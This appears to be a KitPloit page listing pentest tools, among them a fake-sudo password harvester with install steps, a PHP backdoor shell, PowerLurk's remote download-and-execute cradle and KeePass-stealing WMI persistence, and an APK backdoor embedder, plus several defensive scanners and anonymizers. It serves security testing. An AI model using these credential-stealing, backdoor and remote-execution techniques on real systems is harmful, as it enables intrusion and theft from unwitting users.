Quantcast
Channel: KitPloit - PenTest Tools!
Viewing all 5816 articles
Browse latest View live

sudo-snooper - Python script to fool sudo users

$
0
0

sudo-snooper acts like the original sudo binary to fool users into entering their passwords.
It will show a fake prompt just like the original to the user to enter their sudo password.
This can be useful in penetration tests or security evaluations for testing user knowledge.

Installation steps

Option 1 - Install in place of the real sudo (harder but less obvious)
You need root access for this install option
  • move the original sudo binary to another name
# mv /usr/bin/sudo /usr/bin/somename
  • change the parameters in the file to your liking
Change these in sudo-snooper.py:
dumpdir = "/tmp/.snooper"
dumpfile = "/tmp/.snooper/dump.txt"
sudo = 'sudo'
  • install the python file in /usr/bin/sudo (or wherever sudo was before)
# install -dm755 sudo-snooper.py /usr/bin/sudo
  • give the necessary permissions to the python file
    You can go fancy here and make a non-readable executable file for users, but I'm not going into that. Check some of the answers here for that.
NOTE : A somewhat more convincing way to install this is to compile it using pyinstaller so that it doesn't show up as a python file when file /usr/bin/sudo is executed.
To do that under Archlinux: pyinstaller --onefile sudo-snooper.py will work. However please note that once compiled you won't be able to change the parameters in the compiled binary.

Option 2 - Alias the sudo command (easier but somewhat more noticable)
This option is easier to do and more portable, however it might be more noticable to careful users.
Edit the .rc file of the shell the user is using (can be .bashrc .zshrc and so on) and add the following:
alias sudo='python3.5 /path/to/sudo-snooper.py'
Make sure sudo-snooper.py has the correct permissions.

Usage:
Once installed, sudo-snooper can be called just like the normal sudo.
For example, running
sudo vim /etc/resolv.conf
will result in sudo-snooper being called (assuming it's properly installed).
It will ask for the user password and then execute the command by redirecting to the real sudo binary if the password is correct.
You can then retrieve the user password by reading the dump file in the settings.

TODO:
  • handle when user enters wrong password
  • don't ask for a password when the user has an active sudo session instead of this, now removes the cached credentials



anonym8 - Transparent Proxy through TOR, I2P, Privoxy, Polipo and modify DNS

$
0
0

Transparent Proxy through TOR, I2P, Privoxy, Polipo and modify DNS, for a simple and better privacy and security; Include Anonymizing Relay Monitor (arm), macchanger, hostname and wipe (Cleans ram/cache & swap-space) features. Tested on Debian, Kali, Parrot to use the graphical interface, you'll need to install separately GTKdialog and libvte.so.9 and i2p

Script requirements are:
  • Tor        
  • macchanger 
  • resolvconf 
  • dnsmasq    
  • polipo     
  • privoxy           
  • arm        
  • libnotify  
  • curl
  • bleachbit

they'll be automatically installed.
Open a root terminal and type:
cd anonym8_directory I.Ex: cd /home/toto/Desktop/anonym8-master
chmod +x INSTALL.sh
bash INSTALL.sh

you're done!

For more security, use Firefox!
here's some useful Firefox add on:
profil manager => https://ftp.mozilla.org/pub/utilities/profilemanager/1.0/
random agent spoofer =>https://addons.mozilla.org/en-US/firefox/addon/random-agent-spoofer/ 
no script =>https://addons.mozilla.org/en-US/firefox/addon/noscript/
ublock origin =>https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/
HTTPS everywhere =>https://addons.mozilla.org/fr/firefox/addon/https-everywhere/ 

Reboot your system and enjoy!

@HiroshimanRise
#anonym8 (Privacy Friend)

tinyshell - Python Client with PHP Shell

$
0
0

python Client with php shell , allows to connect and send commands over current protocol using POST and GET Requests

Features
  1. connect with direct session with no need for reverse connection .
  2. support password protection .
  3. can be binded to any file with no damage .
  4. using GET/POST request with error handling .

Usage
the project contains of two files :
  1. Remote shell python file : considered as Client to connect with target python remote shell.py url password
  2. php shell php file : considered as php backdoor . password can be edited manually by modifing the code .

Credits
Lawrence Amer - Vulnerability Lab Researcher .

Video


4nonimizer - A bash script for anonymizing the public IP managing the connection to TOR and different VPNs providers

$
0
0
What is 4nonimizer?
It is a bash script for anonymizing the public IP used to browsing Internet, managing the connection to TOR network and to different VPNs providers (OpenVPN), whether free or paid. By default, it includes several pre-configured VPN connections to different peers (.ovpn files) and download the credentials. Also, it records each used IP that we use every 300 seconds in log files.
This script is enabled as a service in systemd systems and uses a default vpn (VPNBook) at system startup.

Installation
Download the repo using git, execute the command ./4nonimizer install in the directory, and follow the screen instructions, 4nonimizer will move to the directory /opt/ and installed as a service.
This script has full compatibility with Kali Linux, although it has been properly tested and should also work on other distributions like Debian, Ubuntu and Arch (Manjaro). However there could be some bugs, or unexpected performances (please comments if you find any!).

Options
Once installed 4nonymizer, enter the command 4nonimizer help to get the help, which shows all the available parameters:

Available VPNs
Currently it supports the following VPN providers:
- HideMyAss https://www.hidemyass.com/
- TorGuard https://torguard.net/
- VPNBook (by default) http://www.vpnbook.com/
- VPNGate http://www.vpngate.net/en/
- VPNMe https://www.vpnme.me/
- VPNKeys https://www.vpnkeys.com/

Install a new VPN
To install an additional vpn we have to use the following structure in order to the 4nonimizer be able to integrate and perform operations with it.
First, we have to create the following dir structure /vpn/ within 4nonimizer path:


In our example we create the folder /vpntest/ and within it placed all .ovpn files we have. If the files ovpn not have the certificate within each of them we put in the same folder as shown in the example certificate.crt .
In addition, we must place a file named pass.txt containing 2 lines: the first one with the username and the second one with the password, as shown below:


If we have correctly performed all steps when we execute the command 4nonimizer change_provider the menu will show our vpn:


As you can see in the picture, option [7] it is the vpn we've created.

Getting credencials and ovpn files automatically
If the VPN provider allows automation of credential and/or .ovpn files getting, 4nonimizer has standardized the following scripts names and locations:
- /opt/4nonimizer/vpn/provider/ vpn-get-pass.sh


- /opt/4nonimizer/vpn/provider/ vpn-get-ovpn.sh



4nonimizer automatically detect the presence of both scripts and indicate (Auto-pass Login) or (Auto-get OVPN) if applicable.



Extras
- Execute 'source 4nonimizer' to activate autocompletation of parameters.
- Copy .conkyrc in your home directory to load a 4nonimizer template and execute conky.

References
- http://www.hackplayers.com/2016/08/tuto-enmascarar-ip-linux-vpn-tor.html
- http://www.hackplayers.com/2016/10/4nonimizer-un-script-para-anonimizar-ip.html

Versions
- 1.0-beta codename .bye-world! 5/10/2016


PowerLurk - Malicious WMI Events using PowerShell

$
0
0

PowerLurk is a PowerShell toolset for building malicious WMI Event Subsriptions. The goal is to make WMI events easier to fire off during a penetration test or red team engagement. Please see my post Creeping on Users with WMI Events: Introducing PowerLurk for more detailed information: https://pentestarmoury.com/2016/07/13/151/

To use PowerLurk, you must import the PowerLurk.ps1 module into your instance of PowerShell. This can be done a couple of ways:
Import locally
    PS> powershell.exe -NoP -Exec ByPass -C Import-Module c:\\temp\\PowerLurk.ps1   
Download Cradle
    PS> powershell.exe -NoP -C "IEX (New-Object Net.WebClient).DownloadString('http://<IP>/PowerLurk.ps1'); Get-WmiEvent"   

Get-WmiEvent
By default, Get-WmiEvent queries WMI for all __FilterToConsumerBinding instances and associated __EventFilter, and __EventConsumer instances. Objects returned can be deleted by piping to Remove-WmiObject.
Return all active WMI event objects with the name 'RedTeamEvent'
    Get-WmiEvent -Name RedTeamEvent   
Delete 'RedTeamEvent' WMI event objects
    Get-WmiEvent -Name RedTeamEvent | Remove-WmiObject   

Register-MaliciousWmiEvent
This cmdlet is the core of PowerLurk. It takes a command, script, or scriptblock as the action and a precanned trigger then creates the WMI Filter, Consumer, and FilterToConsumerBinding required for a fully functional Permanent WMI Event Subscription. A number of WMI event triggers, or filters, are preconfigured. The trigger must be specified with the -Trigger parameter. There are three consumers to choose from, PermanentCommand, PermanentScript, and LocalScriptBLock. Example usage:
Write the notepad.exe process ID to C:\temp\log.txt whenever notepad.exe starts
    Register-MaliciousWmiEvent -EventName LogNotepad -PermanentCommand “cmd.exe /c echo %ProcessId% >> c:\\temp\\log.txt” -Trigger ProcessStart -ProcessName notepad.exe   
Cleanup Malicious WMI Event
    Get-WmiEvent -Name LogNotepad | Remove-WmiObject   

Add-KeeThiefLurker
creates a permanent WMI event that will execute KeeThief (See @Harmj0y's KeeThief at https://github.com/adaptivethreat/KeeThief ) 4 minutes after the 'keepass' process starts. This gives the target time to log into their KeePass database.
The KeeThief logic and its output are either stored in a custom WMI namespace and class or regsitry values. If a custom WMI namespace and class are selected, you have the option to expose that namespace so that it can be read remotely by 'Everyone'. Registry path and value names are customizable using the associated switches; however, this is optional as defaults are set. Example usage:
Add KeeThiefLurker event using WMI class storage
    Add-KeeThiefLurker -EventName KeeThief -WMI   
Query custom WMI class
    Get-WmiObject -Namespace root\software win32_WindowsUpdate -List   
Extract KeeThief output from WMI class
    [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($(Get-WmiObject -Namespace root\software win32_WindowsUpdate -List).Properties['Output'].value))   
Cleanup KeeThiefLurker
    Remove-KeeThiefLurker -EventName KeeThief -WMI   


KNXmap - KNXnet/IP scanning and auditing tool for KNX home automation installations

$
0
0

A tool for scanning and auditing KNXnet/IP gateways on IP driven networks. KNXnet/IP defines Ethernet as physical communication media for KNX (EN 50090, ISO/IEC 14543). KNXmap also allows to scan for devices on the KNX bus via KNXnet/IP gateways. In addition to scanning, KNXmap supports other modes to interact with KNX gateways like monitor bus messages or write arbitrary values to group addresses.

Compatibility
KNXmap requires Python 3.3 or newer. There are no external dependencies, everything is included in the standard library.
Note : Users of Python 3.3 need to install the asyncio module from PyPI .

Usage
Invoke knxmap.py locally or install it:
python setup.py install

Documentation
The documentation is available in the repository wiki .

Hacking
Enable full debugging and verbosity for development:
PYTHONASYNCIODEBUG=1 knxmap.py -v scan 192.168.178.20 1.1.0-1.1.6 --bus-info


Dracnmap - Exploit Network and Gathering Information with Nmap

$
0
0

Dracnmap is an open source program which is using to exploit the network and gathering information with nmap help. Nmap command comes with lots of options that can make the utility more robust and difficult to follow for new users. Hence Dracnmap is designed to perform fast scaning with the utilizing script engine of nmap and nmap can perform various automatic scanning techniques with the advanced commands.

Screenshot


Getting Started
git clone https://github.com/Screetsec/Dracnmap.git
cd Dracnmap
chmod +x Dracnmap.sh
sudo ./Dracnmap.sh or sudo su ./Dracnmap.sh

Requirements
  • A linux operating system. We recommend Kali Linux 2 or Kali 2016.1 rolling / Cyborg / Parrot / Dracos / BackTrack / Backbox / and another operating system ( linux )
  • Must install nmap

Tutorial
you can visit my channel : https://www.youtube.com/channel/UCpK9IXzLMfVFp9NUfDzxFfw

Credits


Spade - Android APK Backdoor Embedder

$
0
0

Quick and handy APK backdoor embedder with metasploit android payloads.

Requirements

Installation and execution
Then you can download smap by cloning the Git repository:
git clone https://github.com/suraj-root/spade.git
cd spade/
./spade.py

Demo video
asciicast

Video YouTube:



arch-audit - An utility like pkg-audit for Arch Linux

$
0
0

An utility like pkg-audit for Arch Linux. Based on Arch CVE Monitoring Team data

Uses data collected by the awesome Arch CVE Monitoring Team .

Installation

From AUR
The PKGBUILD is available on AUR .
After the installation just execute arch-audit .

From sources
git clone https://github.com/ilpianista/arch-audit
cd arch-audit
cargo build
cargo run

Example output
$ arch-audit
Package libwmf is affected by ["CVE-2009-1364", "CVE-2006-3376", "CVE-2007-0455", "CVE-2007-2756", "CVE-2007-3472", "CVE-2007-3473", "CVE-2007-3477", "CVE-2009-3546", "CVE-2015-0848", "CVE-2015-4588", "CVE-2015-4695", "CVE-2015-4696"]. VULNERABLE!
Package libtiff is affected by ["CVE-2016-5875", "CVE-2016-5314", "CVE-2016-5315", "CVE-2016-5316", "CVE-2016-5317", "CVE-2016-5320", "CVE-2016-5321", "CVE-2016-5322", "CVE-2016-5323", "CVE-2016-5102", "CVE-2016-3991", "CVE-2016-3990", "CVE-2016-3945", "CVE-2016-3658", "CVE-2016-3634", "CVE-2016-3633", "CVE-2016-3632", "CVE-2016-3631", "CVE-2016-3625", "CVE-2016-3624", "CVE-2016-3623", "CVE-2016-3622", "CVE-2016-3621", "CVE-2016-3620", "CVE-2016-3619", "CVE-2016-3186", "CVE-2015-8668", "CVE-2015-7313", "CVE-2014-8130", "CVE-2014-8127", "CVE-2010-2596", "CVE-2016-6223"]. VULNERABLE!
Package libtiff is affected by ["CVE-2015-7554", "CVE-2015-8683"]. VULNERABLE!
Package jasper is affected by ["CVE-2015-8751"]. VULNERABLE!
Package jasper is affected by ["CVE-2015-5221"]. VULNERABLE!
Package jasper is affected by ["CVE-2015-5203"]. VULNERABLE!
Package lib32-openssl is affected by ["CVE-2016-2177", "CVE-2016-2178", "CVE-2016-2179", "CVE-2016-2180", "CVE-2016-2181", "CVE-2016-2182", "CVE-2016-2183", "CVE-2016-6302", "CVE-2016-6303", "CVE-2016-6304", "CVE-2016-6306"]. Update to 1:1.0.2.i-1!
Package wireshark-cli is affected by ["CVE-2016-7180", "CVE-2016-7175", "CVE-2016-7176", "CVE-2016-7177", "CVE-2016-7178", "CVE-2016-7179"]. Update to 2.2.0-1!
Package wpa_supplicant is affected by ["CVE-2016-4477", "CVE-2016-4476"]. VULNERABLE!
Package openssl is affected by ["CVE-2016-2177", "CVE-2016-2178", "CVE-2016-2179", "CVE-2016-2180", "CVE-2016-2181", "CVE-2016-2182", "CVE-2016-2183", "CVE-2016-6302", "CVE-2016-6303", "CVE-2016-6304", "CVE-2016-6306"]. Update to 1.0.2.i-1!
Package crypto++ is affected by ["CVE-2016-7420"]. VULNERABLE!
Package bzip2 is affected by ["CVE-2016-3189"]. VULNERABLE!
Package libimobiledevice is affected by ["CVE-2016-5104"]. VULNERABLE!
Package libusbmuxd is affected by ["CVE-2016-5104"]. VULNERABLE!
Package gdk-pixbuf2 is affected by ["CVE-2016-6352"]. VULNERABLE!

$ arch-audit --upgradable --quiet
wireshark-cli>=2.2.0-1
openssl>=1.0.2.i-1
lib32-openssl>=1:1.0.2.i-1

$ arch-audit -uf "%n|%c"
openssl|CVE-2016-2177,CVE-2016-2178,CVE-2016-2179,CVE-2016-2180,CVE-2016-2181,CVE-2016-2182,CVE-2016-2183,CVE-2016-6302,CVE-2016-6303,CVE-2016-6304,CVE-2016-6306
wireshark-cli|CVE-2016-7180,CVE-2016-7175,CVE-2016-7176,CVE-2016-7177,CVE-2016-7178,CVE-2016-7179
lib32-openssl|CVE-2016-2177,CVE-2016-2178,CVE-2016-2179,CVE-2016-2180,CVE-2016-2181,CVE-2016-2182,CVE-2016-2183,CVE-2016-6302,CVE-2016-6303,CVE-2016-6304,CVE-2016-6306


yawast - The YAWAST Antecedent Web Application Security Toolkit

$
0
0

YAWAST is an application meant to simplify initial analysis and information gathering for penetration testers and security auditors. It performs basic checks in these categories:
  • TLS/SSL - Versions and cipher suites supported; common issues.
  • Information Disclosure - Checks for common information leaks.
  • Presence of Files or Directories - Checks for files or directories that could indicate a security issue.
  • Common Vulnerabilities
  • Missing Security Headers
This is meant to provide a easy way to perform initial analysis and information discovery. It's not a full testing suite, and it certainly isn't Metasploit. The idea is to provide a quick way to perform initial data collection, which can then be used to better target further tests. It is especially useful when used in conjunction with Burp Suite (via the --proxy parameter).

Installing
The simplest method to install is to use the RubyGem installer:
gem install yawast
This allows for simple updates ( gem update yawast ) and makes it easy to ensure that you are always using the latest version.
YAWAST requires Ruby 2.2+, and is tested on Mac OSX and Linux (Windows should work; please open a ticket if you have issues).
Kali Rolling
To install on Kali, just run gem install yawast - all of the dependentcies are already installed.
Ubuntu 16.04
To install YAWAST, you first need to install a couple packages via apt-get :
sudo apt-get install ruby ruby-dev
sudo gem install yawast
Mac OSX
The version of Ruby shipped with Mac OSX 10.11 is too old, so the recommended solution is to use RVM:
gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
\curl -sSL https://get.rvm.io | bash -s stable
source ~/.rvm/scripts/rvm
rvm install 2.2
rvm use 2.2 --default
gem install yawast

Tests
The following tests are performed:
  • (Generic) Info Disclosure: X-Powered-By header present
  • (Generic) Info Disclosure: X-Pingback header present
  • (Generic) Info Disclosure: X-Backend-Server header present
  • (Generic) Info Disclosure: X-Runtime header present
  • (Generic) Info Disclosure: Via header present
  • (Generic) Info Disclosure: PROPFIND Enabled
  • (Generic) TRACE Enabled
  • (Generic) X-Frame-Options header not present
  • (Generic) X-Content-Type-Options header not present
  • (Generic) Content-Security-Policy header not present
  • (Generic) Public-Key-Pins header not present
  • (Generic) X-XSS-Protection disabled header present
  • (Generic) SSL: HSTS not enabled
  • (Generic) Source Control: Common source control directories present
  • (Generic) Presence of crossdomain.xml or clientaccesspolicy.xml
  • (Generic) Presence of sitemap.xml
  • (Generic) Presence of WS_FTP.LOG
  • (Generic) Presence of RELEASE-NOTES.txt
  • (Generic) Presence of readme.html
  • (Generic) Missing cookie flags (Secure & HttpOnly)
  • (Generic) Search for common directories
  • (Apache) Info Disclosure: Module listing enabled
  • (Apache) Info Disclosure: Server version
  • (Apache) Info Disclosure: OpenSSL module version
  • (Apache) Presence of /server-status
  • (Apache) Presence of /server-info
  • (IIS) Info Disclosure: Server version
  • (ASP.NET) Info Disclosure: ASP.NET version
  • (ASP.NET) Info Disclosure: ASP.NET MVC version
  • (ASP.NET) Presence of Trace.axd
  • (ASP.NET) Presence of Elmah.axd
  • (ASP.NET) Debugging Enabled
  • (nginx) Info Disclosure: Server version
  • (PHP) Info Disclosure: PHP version
CMS Detection:
  • Generic (Generator meta tag) [Real detection coming as soon as I get around to it...]
SSL Information:
  • Certificate details
  • Certificate chain
  • Supported ciphers
  • Maximum requests in a single connection
Checks for the following SSL issues are performed:
  • Expired Certificate
  • Self-Signed Certificate
  • MD5 Signature
  • SHA1 Signature
  • RC4 Cipher Suites
  • Weak (< 128 bit) Cipher Suites
  • SWEET32
In addition to these tests, certain basic information is also displayed, such as IPs (and the PTR record for each IP), HTTP HEAD request, and others.

TLS / SSL Testing
YAWAST offers two modes for testing TLS / SSL - one is custom, and most useful for internal systems, and the other uses the SSL Labs API.

Internal Mode
To use the custom internal TLS / SSL scanner (which uses your copy of OpenSSL), simply pass --internalssl on the command line. Here is a sample of the output generated by this tester.
[I] Found X509 Certificate:
[I] Issued To: sni67677.cloudflaressl.com /
[I] Issuer: COMODO ECC Domain Validation Secure Server CA 2 / COMODO CA Limited
[I] Version: 2
[I] Serial: 14171089194524384184707003668844347326
[I] Subject: /OU=Domain Control Validated/OU=PositiveSSL Multi-Domain/CN=sni67677.cloudflaressl.com
[I] Expires: 2016-09-11 23:59:59 UTC
[I] Signature Algorithm: ecdsa-with-SHA256
[I] Key: EC-prime256v1
[I] Key Hash: 1a23d84441f9b811dc188bab42b2375873c42ba2
[I] Extensions:
[I] authorityKeyIdentifier = keyid:40:09:61:67:F0:BC:83:71:4F:DE:12:08:2C:6F:D4:D4:2B:76:3D:96,
[I] subjectKeyIdentifier = D0:F8:D6:82:36:B5:5C:AC:2D:9A:8E:7B:D9:D5:E6:99:38:B6:8C:FE
[I] keyUsage = critical, Digital Signature
[I] basicConstraints = critical, CA:FALSE
[I] extendedKeyUsage = TLS Web Server Authentication, TLS Web Client Authentication
[I] certificatePolicies = Policy: 1.3.6.1.4.1.6449.1.2.2.7, CPS: https://secure.comodo.com/CPS, Policy: 2.23.140.1.2.1,
[I] crlDistributionPoints = , Full Name:, URI:http://crl.comodoca4.com/COMODOECCDomainValidationSecureServerCA2.crl,
[I] authorityInfoAccess = CA Issuers - URI:http://crt.comodoca4.com/COMODOECCDomainValidationSecureServerCA2.crt, OCSP - URI:http://ocsp.comodoca4.com,
[I] Alternate Names:
[I] sni67677.cloudflaressl.com
[I] *.adamcaudill.com
[I] *.bsidesknoxville.com
[I] *.secrypto.com
[I] *.smimp.org
[I] *.underhandedcrypto.com
[I] adamcaudill.com
[I] bsidesknoxville.com
[I] secrypto.com
[I] smimp.org
[I] underhandedcrypto.com
[I] Hash: 9be2091903a01bcff3ec4049ed1d037a8c611010

[I] Certificate: Chain
[I] Issued To: sni67677.cloudflaressl.com /
[I] Issuer: COMODO ECC Domain Validation Secure Server CA 2 / COMODO CA Limited
[I] Expires: 2016-09-11 23:59:59 UTC
[I] Key: EC-prime256v1
[I] Signature Algorithm: ecdsa-with-SHA256
[I] Hash: 9be2091903a01bcff3ec4049ed1d037a8c611010

[I] Issued To: COMODO ECC Domain Validation Secure Server CA 2 / COMODO CA Limited
[I] Issuer: COMODO ECC Certification Authority / COMODO CA Limited
[I] Expires: 2029-09-24 23:59:59 UTC
[I] Key: EC-prime256v1
[I] Signature Algorithm: ecdsa-with-SHA384
[I] Hash: 75cfd9bc5cefa104ecc1082d77e63392ccba5291

[I] Issued To: COMODO ECC Certification Authority / COMODO CA Limited
[I] Issuer: AddTrust External CA Root / AddTrust AB
[I] Expires: 2020-05-30 10:48:38 UTC
[I] Key: EC-secp384r1
[I] Signature Algorithm: sha384WithRSAEncryption
[I] Hash: ae223cbf20191b40d7ffb4ea5701b65fdc68a1ca


Qualys SSL Labs: https://www.ssllabs.com/ssltest/analyze.html?d=adamcaudill.com&hideResults=on

Supported Ciphers (based on your OpenSSL version):
Checking for TLSv1 suites (98 possible suites)
[I] Version: TLSv1 Bits: 256 Cipher: ECDHE-ECDSA-AES256-SHA
[I] Version: TLSv1 Bits: 128 Cipher: ECDHE-ECDSA-AES128-SHA
[W] Version: TLSv1 Bits: 112 Cipher: ECDHE-ECDSA-DES-CBC3-SHA
Checking for TLSv1_2 suites (98 possible suites)
[I] Version: TLSv1.2 Bits: 256 Cipher: ECDHE-ECDSA-AES256-GCM-SHA384
[I] Version: TLSv1.2 Bits: 256 Cipher: ECDHE-ECDSA-AES256-SHA384
[I] Version: TLSv1.2 Bits: 256 Cipher: ECDHE-ECDSA-AES256-SHA
[I] Version: TLSv1.2 Bits: 128 Cipher: ECDHE-ECDSA-AES128-GCM-SHA256
[I] Version: TLSv1.2 Bits: 128 Cipher: ECDHE-ECDSA-AES128-SHA256
[I] Version: TLSv1.2 Bits: 128 Cipher: ECDHE-ECDSA-AES128-SHA
[W] Version: TLSv1.2 Bits: 112 Cipher: ECDHE-ECDSA-DES-CBC3-SHA
Checking for TLSv1_1 suites (98 possible suites)
[I] Version: TLSv1.1 Bits: 256 Cipher: ECDHE-ECDSA-AES256-SHA
[I] Version: TLSv1.1 Bits: 128 Cipher: ECDHE-ECDSA-AES128-SHA
[W] Version: TLSv1.1 Bits: 112 Cipher: ECDHE-ECDSA-DES-CBC3-SHA
Checking for SSLv3 suites (98 possible suites)
This version is more limited than the SSL Labs option, though will work in cases where SSL Labs is unable to connect to the target server.

SSL Labs Mode
The default mode is to use the SSL Labs API, which makes all users bound by their terms and conditions , and obviously results in the domain you are scanning being sent to them.
This mode is the most comprehensive, and contains far more data than the Internal Mode. Unless there is a good reason to use the Internal Mode, this is what you should use.

Usage
  • Standard scan: ./yawast scan <url> [--internalssl] [--tdessessioncount] [--nossl] [--nociphers] [--dir] [--dirrecursive] [--dirlistredir] [--proxy localhost:8080] [--cookie SESSIONID=12345]
  • HEAD-only scan: ./yawast head <url> [--internalssl] [--tdessessioncount] [--nossl] [--nociphers] [--proxy localhost:8080] [--cookie SESSIONID=12345]
  • SSL information: ./yawast ssl <url> [--internalssl] [--tdessessioncount] [--nociphers]
  • CMS detection: ./yawast cms <url> [--proxy localhost:8080] [--cookie SESSIONID=12345]
For detailed information, just call ./yawast -h to see the help page. To see information for a specific command, call ./yawast -h <command> for full details.

Using with Burp Suite
By default, Burp Suite's proxy listens on localhost at port 8080, to use YAWAST with Burp Suite (or any proxy for that matter), just add this to the command line:
--proxy localhost:8080

Authenticated Testing
For authenticated testing, YAWAST allows you to specify a cookie to be passed via the --cookie parameter.
--cookie SESSIONID=1234567890

Sample
Using scan - the normal go-to option, here's what you get when scanning my website:
$yawast scan https://adamcaudill.com --tdessessioncount --dir
__ _____ _ _ ___ _____ _____
\ \ / / _ \| | | |/ _ \ / ___|_ _|
\ V / /_\ \ | | / /_\ \\ `--. | |
\ /| _ | |/\| | _ | `--. \ | |
| || | | \ /\ / | | |/\__/ / | |
\_/\_| |_/\/ \/\_| |_/\____/ \_/

YAWAST v0.3.0 - The YAWAST Antecedent Web Application Security Toolkit
Copyright (c) 2013-2016 Adam Caudill <adam@adamcaudill.com>
Support & Documentation: https://github.com/adamcaudill/yawast
Ruby 2.2.4-p230; OpenSSL 1.0.2f 28 Jan 2016 (x86_64-darwin15)

Scanning: https://adamcaudill.com/

DNS Information:
[I] 104.28.27.55 (N/A)
https://www.shodan.io/host/104.28.27.55
https://censys.io/ipv4/104.28.27.55
[I] 104.28.26.55 (N/A)
https://www.shodan.io/host/104.28.26.55
https://censys.io/ipv4/104.28.26.55
[I] 2400:CB00:2048:1::681C:1A37 (N/A)
https://www.shodan.io/host/2400:cb00:2048:1::681c:1a37
[I] 2400:CB00:2048:1::681C:1B37 (N/A)
https://www.shodan.io/host/2400:cb00:2048:1::681c:1b37
[I] TXT: v=spf1 mx a ptr include:_spf.google.com ~all
[I] MX: aspmx4.googlemail.com (30)
[I] MX: aspmx.l.google.com (10)
[I] MX: alt1.aspmx.l.google.com (20)
[I] MX: aspmx2.googlemail.com (30)
[I] MX: alt2.aspmx.l.google.com (20)
[I] MX: aspmx3.googlemail.com (30)
[I] MX: aspmx5.googlemail.com (30)
[I] NS: vera.ns.cloudflare.com
[I] NS: hal.ns.cloudflare.com

[I] HEAD:
[I] date: Fri, 16 Sep 2016 00:24:15 GMT
[I] content-type: text/html; charset=UTF-8
[I] connection: close
[I] set-cookie: __cfduid=df78c5171c732bf2104fd8cc2dd82afd41473985455; expires=Sat, 16-Sep-17 00:24:15 GMT; path=/; domain=.adamcaudill.com; HttpOnly
[I] vary: Accept-Encoding,Cookie
[I] cache-control: max-age=3, must-revalidate
[I] wp-super-cache: Served supercache file from PHP
[I] last-modified: Fri, 16 Sep 2016 00:20:05 GMT
[I] x-frame-options: sameorigin
[I] strict-transport-security: max-age=15552000; preload
[I] x-content-type-options: nosniff
[I] server: cloudflare-nginx
[I] cf-ray: 2e302ca911c550da-MIA

[I] NOTE: Server appears to be Cloudflare; WAF may be in place.

[I] X-Frame-Options Header: sameorigin
[I] X-Content-Type-Options Header: nosniff
[W] Content-Security-Policy Header Not Present
[W] Public-Key-Pins Header Not Present

[I] Cookies:
[I] __cfduid=df78c5171c732bf2104fd8cc2dd82afd41473985455; expires=Sat, 16-Sep-17 00:24:15 GMT; path=/; domain=.adamcaudill.com; HttpOnly
[W] Cookie missing Secure flag


Beginning SSL Labs scan (this could take a minute or two)
[SSL Labs] This assessment service is provided free of charge by Qualys SSL Labs, subject to our terms and conditions: https://www.ssllabs.com/about/terms.html
..........................................

[I] IP: 104.28.27.55 - Grade: A+

Certificate Information:
[I] Subject: CN=sni67677.cloudflaressl.com,OU=PositiveSSL Multi-Domain,OU=Domain Control Validated
[I] Common Names: ["sni67677.cloudflaressl.com"]
[I] Alternative names:
[I] sni67677.cloudflaressl.com
[I] *.adamcaudill.com
[I] *.bsidesknoxville.com
[I] *.secrypto.com
[I] *.smimp.org
[I] *.underhandedcrypto.com
[I] adamcaudill.com
[I] bsidesknoxville.com
[I] secrypto.com
[I] smimp.org
[I] underhandedcrypto.com
[I] Not Before: 2016-08-13T00:00:00+00:00
[I] Not After: 2017-02-12T23:59:59+00:00
[I] Key: EC 256 (RSA equivalent: 3072)
[I] Public Key Hash: b658ea09e127fafe0416588a17446b606499df6e
[I] Version: 2
[I] Serial: 18930702358496442989903109042193740748
[I] Issuer: COMODO ECC Domain Validation Secure Server CA 2
[I] Signature algorithm: SHA256withECDSA
[I] Extended Validation: No (Domain Control)
[I] Certificate Transparency: No
[I] OCSP Must Staple: No
[I] Revocation information: CRL information available
[I] Revocation information: OCSP information available
[I] Revocation status: certificate not revoked
[I] Extensions:
[I] authorityKeyIdentifier = keyid:40:09:61:67:F0:BC:83:71:4F:DE:12:08:2C:6F:D4:D4:2B:76:3D:96,
[I] subjectKeyIdentifier = D0:F8:D6:82:36:B5:5C:AC:2D:9A:8E:7B:D9:D5:E6:99:38:B6:8C:FE
[I] keyUsage = critical, Digital Signature
[I] basicConstraints = critical, CA:FALSE
[I] extendedKeyUsage = TLS Web Server Authentication, TLS Web Client Authentication
[I] certificatePolicies = Policy: 1.3.6.1.4.1.6449.1.2.2.7, CPS: https://secure.comodo.com/CPS, Policy: 2.23.140.1.2.1,
[I] crlDistributionPoints = , Full Name:, URI:http://crl.comodoca4.com/COMODOECCDomainValidationSecureServerCA2.crl,
[I] authorityInfoAccess = CA Issuers - URI:http://crt.comodoca4.com/COMODOECCDomainValidationSecureServerCA2.crt, OCSP - URI:http://ocsp.comodoca4.com,
[I] Hash: 1ae6362e4fc377cccb6df6261838a5d9bb49663d
https://censys.io/certificates?q=1ae6362e4fc377cccb6df6261838a5d9bb49663d
https://crt.sh/?q=1ae6362e4fc377cccb6df6261838a5d9bb49663d

Configuration Information:
Protocol Support:
[I] TLS 1.0
[I] TLS 1.1
[I] TLS 1.2

Cipher Suite Support:
[I] TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 - 128-bits - ECDHE-256-bits
[I] TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 - 128-bits - ECDHE-256-bits
[I] TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA - 128-bits - ECDHE-256-bits
[I] TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 - 256-bits - ECDHE-256-bits
[I] TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 - 256-bits - ECDHE-256-bits
[I] TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA - 256-bits - ECDHE-256-bits
[W] TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA - 112-bits - ECDHE-256-bits
[I] TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 - 256-bits - ECDHE-256-bits
[I] OLD_TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 - 256-bits - ECDHE-256-bits

Handshake Simulation:
[E] Android 2.3.7 - Simulation Failed
[I] Android 4.0.4 - TLS 1.0 - TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
[I] Android 4.1.1 - TLS 1.0 - TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
[I] Android 4.2.2 - TLS 1.0 - TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
